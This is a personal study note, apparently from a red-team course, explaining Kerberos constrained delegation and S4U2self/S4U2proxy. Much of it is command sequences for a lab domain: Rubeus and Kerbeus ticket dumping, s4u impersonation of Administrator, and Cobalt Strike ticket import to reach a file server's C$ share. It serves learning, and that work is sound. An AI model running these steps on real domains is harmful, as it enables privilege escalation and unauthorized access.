Skills · learning

Kerberos - Constrained Delegation

Table of Contents

Kerberos - Constrained Delegation

Start with S4U2proxy

Imagine Alice has reached a web application, and that application needs a file server to perform an operation as Alice. S4U2proxy is the web service asking the KDC for a service ticket whose client is Alice and whose service is the file server. In classic constrained delegation, the KDC checks the web service account's msDS-AllowedToDelegateTo list for the requested back-end SPN. The front-end service must also provide a suitable service ticket representing Alice as evidence.

flowchart LR A[Alice] --> W[Front-end web service] W -->|Alice's front-end service ticket + request for CIFS SPN| K[KDC] K -->|Check delegator and allowed back-end SPN| F[Alice to CIFS/file server ticket] F --> S[File server authorizes requested action]
Diagram source
flowchart LR
  A[Alice] --> W[Front-end web service]
  W -->|Alice's front-end service ticket + request for CIFS SPN| K[KDC]
  K -->|Check delegator and allowed back-end SPN| F[Alice to CIFS/file server ticket]
  F --> S[File server authorizes requested action]

The two ticket names answer different questions:

Ticket Client and service Role
Evidence ticket Alice → front-end web service Shows the front-end can represent Alice in an S4U2proxy request.
Final ticket Alice → cifs/lon-fs-1 Used against the specific file service.

The final ticket is not Alice's TGT and does not authorize every service. A successful KDC reply is still not proof the file server will grant C$ access. This is the narrower trust boundary introduced after unconstrained delegation: an allowed SPN list replaces delegation to arbitrary domain services. Microsoft's S4U2proxy specification describes the evidence-ticket requirement.

Comparison of constrained-delegation flows with and without protocol transition.
Fig. 1. Comparison of constrained-delegation flows with and without protocol transition.

Why S4U2self exists

If Alice authenticated to the web app with Kerberos, the web service can already have Alice's front-end service ticket. S4U2proxy can use that ticket; S4U2self is not needed for this branch.

If Alice instead authenticated with another method, such as NTLM or an application login, the web service does not have Alice's Kerberos service ticket. S4U2self asks the KDC for a ticket whose client is Alice and whose service is the web app itself: “Alice → me.” It supplies the front-end ticket that a later S4U2proxy request can use. It does not by itself produce “Alice → file server.”

S4U2self flow showing a web application obtaining a ticket to itself for an authenticated user.
Fig. 2. S4U2self flow showing a web application obtaining a ticket to itself for an authenticated user.
Protocol-transition diagram linking non-Kerberos authentication, S4U2self, and S4U2proxy.
Fig. 3. Protocol-transition diagram linking non-Kerberos authentication, S4U2self, and S4U2proxy.
Comparison of S4U2self requesting a ticket to the service itself and S4U2proxy requesting a downstream ticket.
Fig. 4. Comparison of S4U2self requesting a ticket to the service itself and S4U2proxy requesting a downstream ticket.

Whether that S4U2self ticket is forwardable is decisive in the classic constrained-delegation flow. With protocol transition enabled, the KDC can issue a forwardable S4U2self ticket, subject to account policy and other requirements. With the option disabled, S4U2self can still return a ticket, but the lab's classic S4U2proxy attempt using its nonforwardable result fails with KDC_ERR_BADOPTION. Protected or nondelegable users and policy can also block a path. Resource-based constrained delegation has different rules; do not copy this branch decision into 15e. Kerberos -Resource Based Constrained Delegation without checking that model.

Two classic constrained-delegation branches

Branch Front-end evidence ticket Lab Rubeus input Main prerequisite
Protocol transition enabled (TRUSTED_TO_AUTH_FOR_DELEGATION bit present) S4U2self requests a ticket for the chosen user to the delegator. /impersonateuser:<USER> Control the delegator TGT; allowed backend SPN; suitable user/account policy.
Kerberos only (bit absent) An already obtained, forwardable user → front-end service ticket. /tgs:<USER-FRONTEND-TGS> Control the delegator TGT and that specific user's front-end ticket.
S4U2proxy needs: delegator identity + allowed backend SPN + usable user front-end ticket
                                      ↑
                         existing Kerberos ticket OR S4U2self

Do not confuse ticket ownership: /ticket below is the delegator account's TGT. /tgs is a user's front-end service ticket. The output of S4U2proxy is a new user-to-backend service ticket. None of these is the impersonated user's TGT.

Enumerate and select the exact backend

On a Beacon with authorized directory access, list computer accounts configured with msDS-AllowedToDelegateTo. The direct-CIFS lab result for LON-WS-1$ includes cifs/lon-fs-1.contoso.com and cifs/lon-fs-1. The service-substitution screenshot instead shows time/lon-fs-1.contoso.com and time/lon-fs-1; an older example uses time/lon-dc-1. Treat these as distinct lab outputs, and use the exact SPN from the current run.

ldapsearch (&(samAccountType=805306369)(msDS-AllowedToDelegateTo=*)) --attributes samAccountName,msDS-AllowedToDelegateTo,userAccountControl
ldapsearch (&(samAccountType=805306369)(samaccountname=lon-ws-1$)) --attributes userAccountControl

The lab UAC value was 16781312. Test the specific TRUSTED_TO_AUTH_FOR_DELEGATION bit (16777216 or 0x1000000), not merely whether the UAC number differs from the usual computer-account value:

[System.Convert]::ToBoolean(16781312 -band 16777216)

This returns True for that lab value. Keep the indicators separate: msDS-AllowedToDelegateTo identifies the constrained-delegation configuration and its permitted SPNs; the UAC bit does not by itself identify constrained delegation. TRUSTED_TO_AUTH_FOR_DELEGATION (16777216, 0x1000000) says protocol transition (“Use any authentication protocol”) is enabled; if clear, the Kerberos-only branch needs a suitable forwardable front-end ticket. The computer account's baseline UAC value (4096, WORKSTATION_TRUST_ACCOUNT) is not a reliable test by comparing whole values; test the target bit with AND. 524288 (0x80000) is the separate unconstrained-delegation bit. Microsoft's UAC flag table and delegation configuration guidance document these distinctions. A result says what is configured; it does not prove a usable ticket or backend access.

Lab branch A: protocol transition enabled

After reaching a SYSTEM Beacon on the delegating lon-ws-1 host, obtain and verify the LON-WS-1$ TGT (client LON-WS-1$, service krbtgt/CONTOSO.COM). The earlier user-impersonation and unconstrained-delegation lab tickets for rsteel or dyork are not substitutes. Recheck the actual LUID and ticket owner in the current run; 0x3e7 below is the recorded SYSTEM LUID, not a universal value.

execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe triage
execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe dump /luid:0x3e7 /service:krbtgt /nowrap

Confirm the dump's client is LON-WS-1$ and service is krbtgt/CONTOSO.COM. A dyork TGT or front-end TGS is a different ticket. The krb_* BOF aliases may be unavailable here; the Rubeus commands above are the recorded alternative. Keep the encoded TGT private and do not paste it into notes.

Use the exact backend SPN from this delegator's msDS-AllowedToDelegateTo value. The example uses cifs/lon-fs-1; replace it only with the exact authorized SPN enumerated in this lab. Rubeus performs S4U2self and S4U2proxy in one command:

execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe s4u /user:lon-ws-1$ /msdsspn:cifs/lon-fs-1 /ticket:<LON-WS-1-TGT> /impersonateuser:Administrator /nowrap

Read the stages separately. S4U2self should show a TGS for Administrator to LON-WS-1$. You can inspect the returned evidence ticket before proceeding:

execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe describe /ticket:<S4U2SELF-BASE64-TICKET>

Confirm client Administrator, service LON-WS-1$@CONTOSO.COM, and the forwardable flag. The combined command then uses that evidence for S4U2proxy; expect the final ticket to be for Administrator → cifs/lon-fs-1. Inspect that final ticket too:

execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe describe /ticket:<FINAL-CIFS-BASE64-TICKET>

The final ticket should identify client Administrator and service cifs/lon-fs-1; check its realm and validity before importing it. The recorded course output showed both stages succeeding. /impersonateuser names the user to represent, not a password. User protection, a wrong delegator TGT, a stale SPN, or KDC policy can still prevent success.

Kerbeus BOF lab path: direct CIFS delegation

This is the video/lab variant using the krb_dump and krb_s4u Kerbeus BOF aliases. The Kerbeus-BOF project documents these S4U and ticket-dump actions. It is the direct CIFS case (cifs/lon-fs-1 is already in msDS-AllowedToDelegateTo); it does not use /altservice. Do not confuse it with the separate service-name-substitution lab. The aliases require the corresponding course Aggressor/BOF package to be loaded; Unknown command means the alias is unavailable, not that delegation is absent. Use the Rubeus workflow above if the lab package is unavailable.

Before using this path, confirm the LDAP allow-list and the TRUSTED_TO_AUTH_FOR_DELEGATION bit described above. To reach lon-ws-1, use the local process-token method in 11. User Impersonation (or another credential method provided by the lab), then follow 13. Lateral Movement or the jump method used in the current video. steal_token impersonates a process token visible to the current Beacon; it does not remotely steal a token from lon-ws-1. The rsteel identity is used to authenticate over the network and reach the front-end host. The ticket-dump step below needs the new SYSTEM Beacon on lon-ws-1, not just the original Beacon impersonating rsteel. Confirm the host and inspect tickets first:

getuid
run hostname
krb_triage
krb_dump /luid:3e7 /service:krbtgt

3e7 is the lab's SYSTEM LUID, commonly shown as 0x3e7; check krb_triage and the returned ticket instead of assuming the LUID is identical in every run. The dumped TGT must belong to LON-WS-1$ and have service krbtgt/CONTOSO.COM. Keep the complete encoded ticket private. The krb_s4u command uses that machine TGT to perform S4U2self and S4U2proxy, impersonating the requested user only to the permitted CIFS service:

krb_s4u /ticket:<LON-WS-1-TGT-BASE64> /service:cifs/lon-fs-1 /impersonateuser:Administrator

The expected result is a service ticket whose client is Administrator and service is cifs/lon-fs-1. It is not Administrator's TGT and does not grant access to arbitrary services. Copy the final service-ticket value from the BOF output. On the Cobalt Strike client, save that value locally, then create a separate net-only Beacon logon context, import the .kirbi, verify the ticket, and test the exact share:

[IO.File]::WriteAllBytes("C:\Users\Attacker\Desktop\admin-cifs.kirbi", [Convert]::FromBase64String("<FINAL-CIFS-TICKET-BASE64>"))
make_token CONTOSO\Administrator FakePass
kerberos_ticket_use C:\Users\Attacker\Desktop\admin-cifs.kirbi
run klist
ls \\lon-fs-1\c$
rev2self

FakePass is only a placeholder for make_token's net-only session; it is not the credential that authorizes the CIFS request. kerberos_ticket_use reads the .kirbi from the Cobalt Strike client. Confirm klist shows the expected CIFS ticket and that the share listing succeeds; an S4U response or ticket import alone does not prove access. Remove the temporary ticket file after the lab. The cheat sheet workflow keeps these commands together.

Lab branch B: Kerberos only

Without protocol transition, do not treat a new nonforwardable S4U2self ticket as valid evidence for the lab's classic S4U2proxy request. The recorded attempt returned KRB-ERROR (13): KDC_ERR_BADOPTION. Obtain an existing, forwardable user → front-end service ticket instead; the course example used dyork → HTTP/lon-ws-1. Inspect its client, service, realm, forwardable flag, and validity before using it. The delegator TGT is still required.

execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe s4u /user:lon-ws-1$ /msdsspn:cifs/lon-fs-1 /ticket:<LON-WS-1-TGT> /tgs:<DYORK-HTTP-LON-WS-1-TGS> /nowrap

The recorded front-end ticket was dyork → HTTP/lon-ws-1, with the forwardable flag. Check any candidate ticket before using it:

execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe describe /ticket:<DYORK-HTTP-TGS-BASE64>

Then S4U2proxy can use that ticket as evidence. The recorded course output showed dyork → cifs/lon-fs-1. Inspect the final ticket and confirm the client is dyork, the service is cifs/lon-fs-1, and the realm and validity are appropriate:

execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe describe /ticket:<FINAL-DYORK-CIFS-BASE64-TICKET>

This branch is limited to users whose suitable front-end tickets are actually available; it cannot select an arbitrary username merely by changing /tgs. A historical “Bronze Bit” vulnerability affected ticket forwarding, but patch status must be checked for the actual environment; it is not a substitute for the required evidence ticket in this lab.

If the lab shows a successful S4U2self but S4U2proxy returns KRB-ERROR (13): KDC_ERR_BADOPTION, record the forwardability of the evidence ticket and the account configuration. In this classic branch, the observed failure is consistent with trying to proxy a nonforwardable S4U2self ticket while protocol transition is disabled; use an actually captured, forwardable front-end TGS instead. Do not keep retrying the same ticket or flip ticket flags.

Use and verify the final service ticket

Import the final CIFS ticket into a separate logon context and test the named CIFS service. In the course's Rubeus example, createnetonly returned a PID and LUID, then steal_token <PID> selected that process's context before ls. The returned getuid can still show the local process owner; the remote share result is the access evidence. The lab-observed PIDs 3380 and 2080 are evidence only, never reusable values. The following template uses the Administrator branch; use dyork and its final ticket for the Kerberos-only branch.

execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe createnetonly /program:C:\Windows\System32\cmd.exe /domain:CONTOSO.COM /username:Administrator /password:FakePass /ticket:<FINAL-CIFS-TICKET>
steal_token <RETURNED-PID>
ls \\lon-fs-1\c$
rev2self

Ryan's observation: one createnetonly attempt broke the connection. The note does not establish a cause. A lab alternative is to save the final .kirbi on the attacker desktop and use Beacon make_token plus kerberos_ticket_use as in 11. User Impersonation. That avoids placing a long encoded ticket directly in the Beacon command and makes the file/session boundary explicit; it still requires verification and cleanup. Do not place a real ticket, key, or password in this note.

Client-side ticket-file alternative: decode only the final CIFS service ticket on the attacker desktop, create the netonly session from Beacon, import the .kirbi, and test the specific share. FakePass is a placeholder for a netonly logon and is not the credential that authorizes the request. The ticket file path is on the Cobalt Strike client for kerberos_ticket_use.

[IO.File]::WriteAllBytes("C:\Users\Attacker\Desktop\Administrator-cifs.kirbi", [Convert]::FromBase64String("<FINAL-CIFS-TICKET-BASE64>"))
make_token CONTOSO\Administrator FakePass
kerberos_ticket_use C:\Users\Attacker\Desktop\Administrator-cifs.kirbi
run klist
ls \\lon-fs-1\c$
rev2self

For the no-protocol-transition branch, use the same sequence with dyork and the final dyork → CIFS service ticket. The saved notes record a createnetonly connection failure but do not establish its cause; keep the two delivery methods as alternatives to test, not proof that one caused the failure.

Fact-check status

  • Verified: S4U2proxy's evidence-ticket and backend-SPN model, and the TRUSTED_TO_AUTH_FOR_DELEGATION flag, against Microsoft documentation.
  • Verified: the Kerbeus BOF command family and S4U usage against the project's README; the exact lab alias behavior and output should still be checked against the loaded script version.
  • Lab-specific: LON-WS-1$, cifs/lon-fs-1, Administrator/dyork, the UAC value, Rubeus output, and the connection failure observation.
  • Version-dependent: Rubeus argument support, ticket import behavior, service policy, user delegation restrictions, and the historical Bronze Bit issue. A returned service ticket is not proof of share authorization.

Review prompts

  1. For S4U2proxy, which ticket represents the user to the front-end, and which SPN limits the backend?
  2. If Alice used NTLM at the web app, what missing Kerberos artifact can S4U2self supply?
  3. What changes when TRUSTED_TO_AUTH_FOR_DELEGATION is absent, and why is /tgs then required in this lab?
  4. Which three ticket identities must you keep separate in the Rubeus command and its result?
  5. What result proves the final CIFS ticket was useful, beyond S4U success?

This is a living study note. Sources and understanding may change as it is reviewed.

Ryan Sacatani

Simply curious about the world, constantly building and breaking things for fun.

sacataniryan1@gmail.com ↗

BrowseBrowse topics

Browse